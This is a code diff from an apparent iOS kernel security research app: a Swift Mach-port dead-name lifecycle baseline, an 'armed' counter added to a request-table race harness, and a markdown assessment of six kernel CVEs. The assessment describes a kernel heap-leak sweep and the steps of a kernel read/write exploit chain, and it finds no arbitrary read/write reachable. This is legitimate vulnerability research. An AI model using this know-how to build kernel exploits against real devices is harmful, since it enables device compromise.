+            单线程走一遍 112507 竞态必须保持正确的生命周期：申请 receive right → 插入 send right → 注册 dead-name 通知 → 丢弃 receive right（send right 变成死名）→ 向死名发送（应为 MACH_SEND_INVALID_DEST）→ 从通知端口收 dead-name 消息 → 释放死名并观察同一数字名是否被下一次分配复用。它不制造竞态，也不释放活着的请求表项。
+            """,
+            notesZh: """
+            这是竞态模块的前置基线，不会打崩内核。两项观测决定 112507 的结论是否成立：dead-name 通知是否真的送达、名字是否会被复用。若这里就异常，先查平台语义，不要把它当成 UAF 证据。真机上通知注册应返回 KERN_SUCCESS；模拟器上可能出现注册被拒。
+            """,
+            run: { ctx in
+                ctx.arm("kern.ipc.lifecycle", "dead-name lifecycle")
+                let r = KernelIPC.lifecycle()
+                ctx.disarm("kern.ipc.lifecycle",
+                           "dead=\(r.deadName) reuse=\(r.reused) | " + r.lines.joined(separator: " | "))
+                let head: String
+                if r.requestKR != KERN_SUCCESS {
+                    head = tl("通知注册被拒") + " (\(r.requestKR))" + tl(" — 112507 路径无法武装")
+                } else if r.deadName && r.reused {
+                    head = tl("dead-name 送达 · 名字被复用")
+                } else if r.deadName {
+                    head = tl("dead-name 送达 · 名字未复用")
+                } else {
+                    head = tl("通知已注册但 dead-name 未送达 —— 查通知顺序")
+                }
+                return ModuleOutcome(
+                    headline: head,
+                    detail: r.lines.joined(separator: "\n"),
+                    evidence: [tl("send to dead name 应为 MACH_SEND_INVALID_DEST"),
+                               tl("dead-name 消息 id = 0x40000002"),
+                               tl("复用只记录，不构成本身结论")])
+            }),
+
         // ── CVE-2026-84636 · SCDynamicStore without wifi-info ───────────────
         ExploitModule(
             id: "sc.dynamicstore",

Sources/KernelIPC.swift

@@ -40,15 +40,20 @@ enum KernelIPC {
         var deallocations: Int = 0
         var budgetExhausted = false
         var notificationsRefused = 0
+        /// Registrations that actually succeeded. Zero means the request-table path was
+        /// never armed, so the run says nothing about 112507.
+        var armed = 0
         var kernelErrors: [String: Int] = [:]
 
         var summary: String {
             var s = "ops=\(operations) alloc=\(allocations) notify=\(notifications) "
             s += "send=\(sends) dealloc=\(deallocations)"
             if budgetExhausted { s += tl("\n(达到资源预算，提前收敛 —— 这是刻意的，不是失败)") }
-            if notificationsRefused > 0 {
-                s += tl("\n通知注册被拒 ") + "\(notificationsRefused)" + tl(" 次 —— 该平台不允许对自身端口注册通知，")
-                s += tl("请求表路径无法被武装。真机上应返回 KERN_SUCCESS。")
+            if armed == 0 && notifications > 0 {
+                s += tl("\n通知注册 0 次成功（内核返回 -300）—— 请求表路径从未被武装。")
+                s += tl("这次运行不是 112507 测试：没有请求表项，就没有可被竞态消费的索引。")
+            } else if notificationsRefused > 0 {
+                s += tl("\n通知注册被拒 ") + "\(notificationsRefused)" + tl(" 次（成功 ") + "\(armed)" + tl(" 次）。")
             }
             if !kernelErrors.isEmpty {
                 s += "\n" + kernelErrors.sorted { $0.value > $1.value }
@@ -82,8 +87,8 @@ enum KernelIPC {
     /// send into the survivors, then release everything. Returns the counters it produced.
     private static func ring(task: mach_port_t, depth: Int, budget: inout Int,
                              refused: inout Int,
-                             record: (kern_return_t) -> Void) -> (alloc: Int, notify: Int, send: Int, dealloc: Int) {
-        var alloc = 0, notify = 0, send = 0, dealloc = 0
+                             record: (kern_return_t) -> Void) -> (alloc: Int, notify: Int, send: Int, dealloc: Int, armed: Int) {
+        var alloc = 0, notify = 0, send = 0, dealloc = 0, armed = 0
 
         var ports: [mach_port_name_t] = []
         ports.reserveCapacity(depth)
@@ -109,7 +114,7 @@ enum KernelIPC {
             let kr1 = mach_port_request_notification(
                 task, p, MACH_NOTIFY_SEND_POSSIBLE, 1, p,
                 mach_msg_type_name_t(MACH_MSG_TYPE_MAKE_SEND), &prev)
-            if kr1 != KERN_SUCCESS { record(kr1); if kr1 == KERN_INVALID_CAPABILITY { refused += 1 } }
+            if kr1 == KERN_SUCCESS { armed += 1 } else { record(kr1); refused += 1 }
             if prev != 0 { _ = mach_port_mod_refs(task, prev, MACH_PORT_RIGHT_SEND, -1) }
             notify += 1
 
@@ -117,7 +122,7 @@ enum KernelIPC {
             let kr2 = mach_port_request_notification(
                 task, p, MACH_NOTIFY_DEAD_NAME, 0, p,
                 mach_msg_type_name_t(MACH_MSG_TYPE_MAKE_SEND), &prev2)
-            if kr2 != KERN_SUCCESS { record(kr2); if kr2 == KERN_INVALID_CAPABILITY { refused += 1 } }
+            if kr2 == KERN_SUCCESS { armed += 1 } else { record(kr2); refused += 1 }
             if prev2 != 0 { _ = mach_port_mod_refs(task, prev2, MACH_PORT_RIGHT_SEND, -1) }
             notify += 1
         }
@@ -164,7 +169,7 @@ enum KernelIPC {
             }
             dealloc += 1
         }
-        return (alloc, notify, send, dealloc)
+        return (alloc, notify, send, dealloc, armed)
     }
 
     /// Drive the interleaving for `seconds`, with a bounded number of workers and a hard
@@ -184,7 +189,7 @@ enum KernelIPC {
         }
 
         DispatchQueue.concurrentPerform(iterations: workers) { _ in
-            var localAlloc = 0, localNotify = 0, localSend = 0, localDealloc = 0, localOps = 0
+            var localAlloc = 0, localNotify = 0, localSend = 0, localDealloc = 0, localOps = 0, localArmed = 0
 
             while Date() < deadline {
                 lock.lock()
@@ -205,6 +210,7 @@ enum KernelIPC {
                 localNotify += result.notify
                 localSend += result.send
                 localDealloc += result.dealloc
+                localArmed += result.armed
                 localOps += 4
 
                 lock.lock()
@@ -218,6 +224,7 @@ enum KernelIPC {
             stats.notifications += localNotify
             stats.sends += localSend
             stats.deallocations += localDealloc
+            stats.armed += localArmed
             lock.unlock()
         }
 
@@ -255,4 +262,85 @@ enum KernelIPC {
         out["name_space"] = "\(nameCount)" + tl(" 已用 / 预算 ") + "\(liveBudget)"
         return out
     }
+
+    /// Single-threaded port lifecycle baseline: arm a DEAD_NAME notification, drop the
+    /// receive right while the send right survives, send into the dead name, then receive
+    /// the notification. No race, no frees of live request-table entries — this is the
+    /// sequence the 112507 race has to stay correct through.
+    ///
+    /// The second half frees the dead name and measures whether the kernel hands the same
+    /// numeric name back to the next allocation. Name reuse is normal; the point is to
+    /// record the baseline before the racer starts churning the namespace.
+    static func lifecycle() -> (lines: [String], deadName: Bool, reused: Bool, requestKR: kern_return_t) {
+        var lines: [String] = []
+        let task = mach_task_self_
+        var deadName = false
+        var reused = false
+
+        var notify: mach_port_t = 0
+        var kr = mach_port_allocate(task, MACH_PORT_RIGHT_RECEIVE, &notify)
+        lines.append("notify_port alloc: \(name(kr)) name=\(notify)")
+        guard kr == KERN_SUCCESS else { return (lines, false, false, kr) }
+
+        var target: mach_port_t = 0
+        kr = mach_port_allocate(task, MACH_PORT_RIGHT_RECEIVE, &target)
+        lines.append("target receive: \(name(kr)) name=\(target)")
+        guard kr == KERN_SUCCESS else { mach_port_destroy(task, notify); return (lines, false, false, kr) }
+
+        kr = mach_port_insert_right(task, target, target,
+                                    mach_msg_type_name_t(MACH_MSG_TYPE_MAKE_SEND))
+        lines.append("insert send right: \(name(kr))")
+
+        var prev: mach_port_t = 0
+        let requestKR = mach_port_request_notification(task, target, MACH_NOTIFY_DEAD_NAME, 0, notify,
+                                                       mach_msg_type_name_t(MACH_MSG_TYPE_MAKE_SEND), &prev)
+        kr = requestKR
+        lines.append("request DEAD_NAME -> notify=\(notify): \(name(kr)) prev=\(prev)")
+        if prev != 0 { _ = mach_port_mod_refs(task, prev, MACH_PORT_RIGHT_SEND, -1) }
+
+        kr = mach_port_mod_refs(task, target, MACH_PORT_RIGHT_RECEIVE, -1)
+        lines.append("drop receive right: \(name(kr))")
+
+        var hdr = mach_msg_header_t()
+        hdr.msgh_bits = mach_msg_bits_t(MACH_MSG_TYPE_COPY_SEND)
+        hdr.msgh_size = mach_msg_size_t(MemoryLayout<mach_msg_header_t>.size)
+        hdr.msgh_remote_port = target
+        hdr.msgh_local_port = 0
+        hdr.msgh_id = 0
+        kr = mach_msg_send(&hdr)
+        lines.append("send to dead name: \(name(kr))")
+
+        // DEAD_NAME fires when the last send right is released, not when the receive
+        // right is dropped. Release it before waiting, otherwise the receive always
+        // times out and the baseline records a false negative.
+        kr = mach_port_deallocate(task, target)
+        lines.append("release last send right: \(name(kr))")
+
+        var buffer = [UInt8](repeating: 0, count: 256)
+        kr = buffer.withUnsafeMutableBytes { raw -> kern_return_t in
+            let p = raw.baseAddress!.assumingMemoryBound(to: mach_msg_header_t.self)
+            return mach_msg(p, mach_msg_option_t(MACH_RCV_MSG | MACH_RCV_TIMEOUT),
+                            0, mach_msg_size_t(raw.count), notify, 200, 0)
+        }
+        lines.append("receive notification: \(name(kr))")
+        if kr == KERN_SUCCESS {
+            let got = buffer.withUnsafeBytes {
+                $0.baseAddress!.assumingMemoryBound(to: mach_msg_header_t.self).pointee
+            }
+            deadName = got.msgh_id == MACH_NOTIFY_DEAD_NAME
+            lines.append("  id=0x\(String(got.msgh_id, radix: 16)) local=\(got.msgh_local_port) size=\(got.msgh_size) deadName=\(deadName)")
+        }
+
+        for _ in 0..<64 {
+            var p: mach_port_t = 0
+            if mach_port_allocate(task, MACH_PORT_RIGHT_RECEIVE, &p) == KERN_SUCCESS {
+                if p == target { reused = true; mach_port_destroy(task, p); break }
+                mach_port_destroy(task, p)
+            }
+        }
+        lines.append("name reuse of \(target): \(reused ? "yes" : "no")")
+
+        mach_port_destroy(task, notify)
+        return (lines, deadName, reused, requestKR)
+    }
 }

Sources/ModuleText.swift

@@ -196,7 +196,7 @@ enum ModuleText {
             iOS 27.2 adds cmp/b.hi and NULL traps to every function that consumes a per-space port request table index (ipc_port.c:21/24/34/38/40/41). On 27.0 the free path computes the bounds and discards the result, still performing the read-modify-write through the unchecked base; the mark path has no bounds computation at all. The index comes from the space's saved request-table slot, so the defect shape is a stale index under concurrency between table growth or teardown and notification registration or message send.
             """,
             notes: """
-            The entry points on this path with no entitlement gate are mach_msg and port notification registration. This module runs 8 threads for 6 seconds and counts the kernel's return codes — any shift in the frequency of a non-KERN_SUCCESS result is a candidate signal for an out-of-range index.
+            The entry points on this path were believed to be ungated: mach_msg and port notification registration. On the actual target (iOS 27.0.1, iPhone 19,7) and on macOS 27, all 13 combinations of notification type and right layout return -300 (MIG_TYPE_ERROR): the kernel refuses to arm a request-table entry for a third-party process. With no entry, there is no stale index to consume — this module is now a reachability negative, not race evidence. When armed is 0, no "survived" line is a 112507 conclusion.
             """),
 
         "kern.decmpfs": Row(
@@ -550,6 +550,15 @@ enum ModuleText {
             This is an in-process primitive: the app dies, not the kernel. After the crash the module's verdict is processDied and the last engine log line is the fire start. The receiving-Messages path (tap "Load Preview" on a sent link) is the same code; this module only replaces the delivery end with loopback so no external network is involved.
             """),
 
+        "kern.ipc.lifecycle": Row(
+            title: "Mach port dead-name notification and name reuse baseline (112507 prerequisite)",
+            summary: """
+            A single-threaded walk through the lifecycle the 112507 race has to keep correct: allocate a receive right → insert a send right → register a dead-name notification → drop the receive right (the send right becomes a dead name) → send into the dead name (expected MACH_SEND_INVALID_DEST) → receive the dead-name message from the notification port → release the dead name and check whether the next allocation reuses the same numeric name. No race, no freeing of live request-table entries.
+            """,
+            notes: """
+            This is the prerequisite baseline for the race module and cannot panic the kernel. Two observations decide whether the 112507 conclusion holds: whether the dead-name notification is actually delivered, and whether the name gets reused. If this already misbehaves, fix the platform semantics first; do not treat it as UAF evidence. On a device the notification registration should return KERN_SUCCESS; the simulator may refuse it.
+            """),
+
         "sc.dynamicstore": Row(
             title: "SSID and router MAC from configd's dynamic store (no wifi-info entitlement)",
             summary: """

Sources/RuntimeText.swift

@@ -205,6 +205,7 @@ enum RuntimeText {
         "UDID (设备)": "UDID (device)",
         "XNU · ipc_port.c 请求表消费方": "XNU · ipc_port.c request-table consumers",
         "XNU 内核": "XNU kernel",
+        "新收录": "New arrivals",
         "archive_read_new 失败": "archive_read_new failed",
         "audioCustom 事件已投递": "audioCustom event delivered",
         "caret 坐标: ": "caret positions: ",

docs/KERNEL-RW-ASSESSMENT.md

@@ -0,0 +1,156 @@
+# Kernel read/write feasibility — high and critical dossiers
+
+Scope: the kernel-reachable entries rated High or Critical in the Cinder27 dossiers.
+Question: can any of them be turned into arbitrary kernel read/write that does not
+panic the device?
+
+Short answer: **no, not from the material as it stands.** One entry gives a real
+kernel heap leak (read), one gives a bounded read model, one gives a race receipt
+on a UAF-shaped bug. The write entries either write a constant at a fixed offset or
+never reach the kernel interface at all. This document records what each primitive
+actually provides, what an arbitrary-R/W chain still needs, and what was added to
+the POCs.
+
+## Guardrails
+
+- The host Mac was panicked once by the CVE-2026-112705 encode path. That path is
+  never executed on the host again; its C twin refuses to submit a frame without
+  `--force-host`.
+- No blind kernel writes are attempted from any POC. A wrong guess in the kernel
+  heap is a panic, not a data point.
+- The simulator has no AppleAVE2 hardware encoder and no ANE kernel interface, so
+  the write primitives cannot be exercised there either. Their app modules are
+  split into a safe probe and a deliberate fire module.
+
+## Primitive inventory
+
+| CVE | Entry | Primitive as shipped | Read | Write | Kernel R/W verdict |
+|---|---|---|---|---|---|
+| 2026-112705 | AppleAVE2 `NumberOfTemporalLayers` | fixed-offset constant fill in the driver | no | fixed value, fixed offset | **DoS only.** No address control, no value control. The original write-up says explicitly: no arbitrary read/write capability. |
+| 2026-65385 | IOKit `IOHIDEventAppendEvent` | fixed-offset write into a short heap allocation | no | bounded, offset fixed | **Not reachable as a primitive here.** The POC stops at symbol resolution; the vendor-defined constructor is missing on the host. No leak, no reclaim, no gadget. |
+| 2026-112696 | AppleH16ANEInterface | kernel interface reachability | no | none observed | **No primitive.** The ANE kernel symbols are absent for a third-party process; the module is an honest negative. |
+| 2026-112507 | XNU `ipc_port.c` request-table race | stale index → UAF-shaped race | no | none direct | **Not reachable from the app.** Device receipt: 12,288 notification registrations, 0 armed, 12,288 refused with -300 (MIG_TYPE_ERROR). No request-table entry exists, so there is no stale index to consume. |
+| 2026-113910 | decmpfs chunked zlib | under-produced chunks expose uninitialised kernel heap through a file read | **yes** (bounded) | no | **Leak only.** Useful as a KASLR step; cannot write. |
+| 2026-112554 | GPT partition-name scan | 72-B scan over a 28-B field | **yes** (bounded, model) | no | **Leak only.** The C twin models the width; the real read runs in the storage kext. |
+
+## What arbitrary kernel R/W actually requires
+
+Every iOS kernel R/W chain needs five independent capabilities. A bug that supplies
+one of them is a chain step, not a chain.
+
+1. **KASLR defeat** — a kernel text or heap pointer with a known relationship to the
+   unslid base. 113910 and 112554 can supply candidates; neither guarantees a text
+   pointer, and a heap pointer alone does not give the slide.
+2. **Heap grooming** — deterministic placement of a victim object next to the
+   corrupted allocation, in the same zone, at the same size class.
+3. **Controlled reclaim / corruption** — for a UAF: free the object, reallocate the
+   slot with attacker-influenced contents, and keep a stale reference alive. For an
+   OOB write: a value and an offset that land on a field worth corrupting.
+4. **A read/write gadget** — an object whose corrupted field yields a load or store
+   of an attacker-chosen address (e.g. a length+pointer pair, a page-table entry, a
+   thread's `pcb` pointer).
+5. **PAC / PPL bypass** — kernel code pointers are PAC-signed; page tables are
+   protected by PPL on modern devices. A data-only path can sometimes avoid both,
+   but it still needs 1–4.
+
+None of the six entries supplies 2–5. 112507 is the only one that could plausibly
+reach step 3, and reaching it requires a device, kernel symbols, and a reclaim
+strategy that the repository does not have.
+
+## Per-entry notes
+
+### CVE-2026-112705 — fixed constant, fixed offset
+
+The driver indexes a layer table with the declared count and writes a constant at a
+fixed offset past it. There is no attacker-chosen value and no attacker-chosen
+address. The only observable is a kernel data abort. Calling this "R/W" would
+require a second bug that turns the corrupted field into a pointer; nothing in the
+dossier provides one. The correct classification is a reliable kernel DoS.
+
+### CVE-2026-112507 — reachability closed on the device (2026-10-31)
+
+The staged lifecycle harness was run on the target device (iPhone19,7, iOS 27.0.1)
+with an ad-hoc signed build, and the race module was re-run with an `armed` counter:
+
+- `mach_port_request_notification(DEAD_NAME)` → **-300** (MIG_TYPE_ERROR), `prev = 0`.
+- Send to the dead name → `MACH_SEND_INVALID_DEST`; receive → `MACH_RCV_TIMED_OUT`.
+- `kern.ipc`: 12,288 registration attempts, **0 armed, 12,288 refused**.
+- On macOS 27 the same call was swept over 13 combinations of notification type
+  (SEND_POSSIBLE / PORT_DESTROYED / NO_SENDERS / DEAD_NAME) and right layout
+  (receive-only, send+receive, send-only; notify port receive or send). Every
+  combination returned -300.
+
+The kernel refuses to arm a request-table entry for this process. With no entry,
+the stale-index consumers in `ipc_port.c` have nothing to consume: the race cannot
+be driven from an unentitled third-party app, and the "survived" line from the old
+harness was measuring port churn, not the bug. The published fix shape (NULL checks
+on `ipr` / `table`) is consistent with a denial or null-dereference path, not with a
+reclaimable object.
+
+**Verdict: closed for this app.** The remaining hypothetical is a platform process
+that is allowed to register notifications; that is outside Cinder27's reach.
+
+### CVE-2026-112507 — the race itself
+
+The ring allocates receive rights, arms two notification kinds per port, tears down
+half the ring, then sends to the survivors. The request-table index consumers are
+the target of the race. A weaponised version would need:
+
+- a win condition that is observable without panicking (a receipt, not a crash);
+- a same-zone reclaim object with controllable contents (Mach ports themselves are
+  one candidate, but the request-table entry's layout is not attacker-shaped);
+- a stale consumer that dereferences the reclaimed slot after the free;
+- a leak to place the reclaim object and to find the kernel base.
+
+The POC records `-300` and `invalid destination` receipts and reports that the
+interleaving survived. That is the honest limit of a userspace race harness: it can
+show the window exists, not that the window is controllable.
+
+### CVE-2026-113910 — the leak that was worth improving
+
+This is the only entry where more code produces more signal. The C twin now:
+
+- sweeps 8 chunk configurations (including `produce=0`, which promises 64 KiB per
+  chunk and writes none of it);
+- repeats the sweep `--loop N` times;
+- classifies every 8-byte-aligned value as kernel-text (`0xfffffff0…`), kernel-data
+  (`0xffffffe0…`), kernel-other, or user;
+- writes the raw readback to `--keep out.bin` for offline analysis;
+- never dereferences a candidate.
+
+On the macOS host decmpfs does not engage for a file that already has data (the
+documented oracle), so the run reports zero candidates and 3.2 MB of plain 0x41
+readback. On an iOS device where the chunked xattr is honoured, the same sweep is
+the KASLR step. It still does not write.
+
+### CVE-2026-112554 — a read-width model, not a kernel reader
+
+The C twin builds the overlong-name GPT and walks the name field the way 27.0 does.
+It proves the scan width (72 B against a 28-B field) but the bytes come from the
+image, not from the kernel heap. Treat it as a seed/oracle model. The real read
+would have to run through the storage kext on a mounted image; that is not attempted
+on the host.
+
+## What was deliberately not done
+
+- No attempt to fire 112705 or 65385 on the host: both can panic the kernel, and a
+  panic is not evidence of control.
+- No blind write into a guessed kernel address: with KASLR and PAC in play, a wrong
+  guess is indistinguishable from a bug that does not work.
+- No claim that 112507 is exploitable: a race receipt is not a UAF primitive until
+  the free/reclaim/stale-dereference sequence is observed.
+
+## Bottom line
+
+Arbitrary kernel R/W without a panic is **not achievable from these six entries as
+shipped**, and the one entry that had a theoretical UAF path (112507) is now closed
+by device evidence: notification registration is refused, so the request table is
+never armed. The maximum safe capability the lab demonstrates is:
+
+- a repeatable kernel heap **leak** with pointer classification (113910);
+- a read-width model for the GPT scan (112554);
+- a race-window harness with receipts (112507);
+- honest negatives for the write entries that never reach a controllable primitive.
+
+The next real step is not more code in this repository; it is a device session with
+kernel symbols, a reclaim strategy for 112507, and a stop condition for every write.